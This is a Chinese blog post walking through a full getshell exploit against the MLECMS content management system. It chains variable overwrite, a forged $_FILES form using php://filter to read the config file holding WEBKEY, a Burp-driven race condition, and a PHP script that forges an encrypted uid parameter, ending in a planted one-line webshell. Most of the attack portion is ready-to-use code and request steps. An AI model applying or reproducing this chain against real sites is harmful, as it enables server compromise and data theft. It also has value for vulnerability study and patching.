• Mlecms Getshell


    参考来源:https://bbs.ichunqiu.com/thread-13703-1-1.html

    位于:/inc/include/globals.php 第24-28行。有个任意变量覆盖。

    foreach(array('_GET','_POST','_COOKIE') as $_request){
    	foreach($$_request as $i => &$n){
    		${$i} = daddslashes($n);
    	}
    }
    

      然后对$value的值进行过滤,这里没考虑到_FILES和GBLOABS的超全局变量

    再来看出现漏洞的地方:上传图像处,位于/inc/class/avatar.class.php

    	public function onuploadavatar() {
    		@header("Expires: 0");
    		@header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE);
    		@header("Pragma: no-cache");
    		$this->init_input($_GET['agent']);
    		$uid = $this->input['uid'];
    		if(empty($uid)) {
    			return -1;
    		}
    		if(empty($_FILES['Filedata'])) {
    			return -3;
    		}
    
    		list($width, $height, $type, $attr) = getimagesize($_FILES['Filedata']['tmp_name']);
    		$imgtype = array(1 => '.gif', 2 => '.jpg', 3 => '.png');
    		$filetype = $imgtype[$type];
    		$tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; 
    		file_exists($tmpavatar) && @unlink($tmpavatar);
    		if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar)) {
    			@unlink($_FILES['Filedata']['tmp_name']);
    			list($width, $height, $type, $attr) = getimagesize($tmpavatar);
    			if($width < 10 || $height < 10 || $type == 4) {
    				@unlink($tmpavatar);
    				return -2;
    			}
    		} else {
    			@unlink($_FILES['Filedata']['tmp_name']);
    			return -4;
    		}
    		global $config;
    		$avatarurl = $config['url'].'inc/tmp/other/member_'.$uid.$filetype; 
    		return $avatarurl;
    	}
    

      

    可以看到这里有个判断 : if(@copy($_FILES['Filedata']['tmp_name'], $tmpavatar) || @move_uploaded_file($_FILES['Filedata']['tmp_name'], $tmpavatar))

    对于copy函数来说,对两个路径的值并没有检查就直接复制过去了,而$_FILES['Filedata']['tmp_name']我们是可控的,因为有变量覆盖。

    有因为中间是||只要copy() 返回值是ture就会继续执行,不管后面的值,接着在删除这个文件,这里会有个时间差,只要发送两次请求,第一个请求的是上传的包,第二个请求是访问存在的$tmpavatar的值,也就是要被删除的文件,这里用了一种方法php://filter/

    引用大佬的话

    关于文件读取 有没有办法 能让copy(src,dst)成功 而unlink(src)失败呢
    答案是有的 就是神奇的php://filter  这里限于篇幅 不再细说这个schema 百度一下有几位前辈早已写过有关的文章
    利用php://filter/resource=路径/文件名  就可以达到我们想要的效果 copy成功 unlink失败,虽然copy成功之后
    第二个getimagesize检查后面的unlink没办法bypass 不过已经生成了 那我读不读就由不得你了。时间竞争大家应该不陌生,
    我赶在你生成和删除中间的一瞬间读到不就行了,时间竞争的关键一点就是,目标要明确。得知道生成的url值
    

      所以我们可以利用下面表单

      <html>
       <head>
        </head>
            <body>
    
    <form enctype="multipart/form-data" action="http://url地址/member/index.php?m=user&inajax=1&a=uploadavatar&appid=1&input=79561077915aniBgTneZ%2B0L1a335y4ohyxNkLkoZA0TqCroSz1Y9pIvDV%2FbsZqQifrsZe%2F8fr9T7I4cLQ%2FXkcJ5G%2FKu0lhAnQK6ESWA8hwQNyqRpudivWjzfeNUzs%2B%2F6G0LeDhoa7tN1xHra6Eyu&agent=09a8a8a6c377b13bfddb060943f556d0&avatartype=virtual" method="POST">
    
    <input type="hidden" name="_FILES[Filedata][name]" value = "1.rar">
    
    <input type="hidden" name="_FILES[Filedata][type]" value = "rar">
    
    <input type="hidden" name="_FILES[Filedata][size]" value = "0">
    
    <input type="hidden" name="_FILES[Filedata][tmp_name]" value = "php://filter/resource=./../../inc/config/version.config.php">
    
    <input type="hidden" name="_FILES[Filedata][error]" value = "4">
    
    <input name="file" type="file" />
    
    <input type="submit" value="POST" />
    
    </form>
    
        </body>
    </html>   

    记得修改url地址。

    利用burp来劫包发包。设置这个为5线程。

    然后请求    http://url地址/inc/tmp/other/member_*

    其中*号代表$uid的值,要获取这个值先上传一个头像,然后复制头像的地址inc/uploads/avatar/201706/3_big.jpg

    _big.jpg 前面的数字就是$uid的值。所以我们只要访问http://url地址/inc/tmp/other/member_3就行。开启burp,对这个url发50线程的包。

    这样就能读到文件,并且不被删除。

    读到WEBKEY的值就有办法getshell了,看这里有一句话

    		$tmpavatar = MLEINC.'/tmp/other/member_'.$uid.$filetype; 
    

      $filetype我们没法控制,但是$uid我们是可控的,因为

    		$this->init_input($_GET['agent']);
    		$uid = $this->input['uid'];
    

      

     跟进:init_input()

    	public function init_input($getagent = '') {
    		$input = $_GET['input'];
    		if($input) {
    			$input = encryption($input,'DECODE',WEBKEY);
    			parse_str($input,$this->input); 
    			$agent = $getagent ? $getagent : $this->input['agent'];
    			if(($getagent && $getagent != $this->input['agent']) || (!$getagent && md5($_SERVER['HTTP_USER_AGENT']) != $agent)) {
    				exit('Access denied for agent changed');
    			} elseif($this->time - $this->input['time'] > 3600) {
    				exit('Authorization has expired');
    			}
    		}
    		if(empty($this->input)) {
    			exit('Invalid input');
    		}
    	}
    

      

     对$input进行解密,然后在注册变量,这时候的uid值我们是可控的,而且也没有过滤。

    利用脚本生成$input的值

    <?php
    /**
     * Created by PhpStorm.
     * User: yangxiaodi
     * Date: 17/6/5
     * Time: 17:26
     */
    $timestamp = time()+10*3600;
    $uc_key='';//自己修改哦,下面的agent值要自己改下,和自己的agent值相同,
    $code=urlencode(encryption("uid=1.php&agent=09a8a8a6c377b13bfddb060943f556d0&time=$timestamp", 'ENCODE', $uc_key));
    echo $code;
    function encryption($string,$operation = 'DECODE',$key = '',$expiry = 0,$ckey_length = 12){
        $key = md5($key);
        $keya = md5(substr($key,0,16));
        $keyb = md5(substr($key,16,16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string,0,$ckey_length): substr(md5(microtime()),-$ckey_length)) : '';
        $cryptkey = $keya.md5($keya.$keyc);
        $key_length = strlen($cryptkey);
        $string = $operation == 'DECODE' ? base64_decode(substr($string,$ckey_length)) : sprintf('%010d',$expiry ? $expiry + time() : 0).substr(md5($string.$keyb),0,16).$string;
        $string_length = strlen($string);
        $result = '';
        $box = range(0,255);
        $rndkey = array();
        for($i = 0; $i <= 255; $i++){
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
        for($j = $i = 0; $i < 256; $i++){
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        for($a = $j = $i = 0; $i < $string_length; $i++){
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        if($operation == 'DECODE') {
            if((substr($result,0,10) == 0 || substr($result,0,10) - time() > 0) && substr($result,10,16) == substr(md5(substr($result,26).$keyb),0,16)){
                return substr($result,26);
            } else {
                return '';
            }
        } else {
            return $keyc.str_replace('=','',base64_encode($result));
        }
    }
    

      

    带着生成的input值访问一下

      

    看到返回-2就代表成功了。

    后面的步骤就是,上传一个 一访问就自动在目录下生成一句话的马的图片,然后在构造表单,把表单中要读取的值改成上传图片的值,然后在利用burp开启不同线程进行条件竞争,这次访问的是http://url/inc/tmp/other/member_.php  然后自动在目录下生成一句话就能getshell了。

    挺好的洞,收获挺多的,也为自己的基础差而羞愧,搞了一下午的files参数,最后才醒悟过来。再次感谢作者发出来这么好的学习漏洞。

  • 相关阅读:
    使用python-docx生成Word文档
    python 日期格式转换
    Android开发:关于WebView
    用 jQuery.ajaxSetup 实现对请求和响应数据的过滤
    Mysql 命令大全
    旋转木马的小效果!
    CSS3 background-image背景图片相关介绍
    PHP的高效IOC框架——CanoeDI
    CSS3与页面布局学习总结(一)——概要、选择器、特殊性与刻度单位
    PHP入门介绍与环境配置
  • 原文地址:https://www.cnblogs.com/yangxiaodi/p/6946240.html
Copyright © 2020-2023  润新知